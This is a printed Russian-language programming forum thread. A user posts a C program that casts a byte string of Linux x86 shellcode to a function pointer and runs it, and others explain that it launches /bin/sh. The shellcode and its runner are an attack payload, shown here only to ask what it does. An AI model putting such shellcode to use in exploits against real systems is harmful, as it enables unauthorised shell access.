Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Общие вопросы > Чистый С


Автор: sergioK1 27.11.2023, 01:09
Всем доброго времени суток , что делает такой код ?
Код


#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
              "\x73\x68\x68\x2f\x62\x69\x6e\x89"
              "\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
 printf ("Shellcode length : %d bytes\n", strlen (code));
 int(*f)()=(int(*)())code;
 f();
}              


Что за кастинг  такой ?  Я не большой знаток Си 

Автор: Oldshelf 27.11.2023, 03:35
Как-то слишком хитро. У меня на старом компиляторе вылетает ошибка сегментации на вызове функции f();.

Автор: Aa1 27.11.2023, 03:51
Цитата
Я не большой знаток Си

Здесь дело не в си, а в ассемблерных командах (строка code).
Код для Linux x86, запускает оболочку "/bin/sh".

Автор: sergioK1 27.11.2023, 11:40
Цитата(Aa1 @ 27.11.2023,  02:51)
Цитата
Я не большой знаток Си

Здесь дело не в си, а в ассемблерных командах (строка code).
Код для Linux x86, запускает оболочку "/bin/sh".

Да , это его уязвимость. только как это ? тот кто это написал откуда эти самые команды взял ?

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)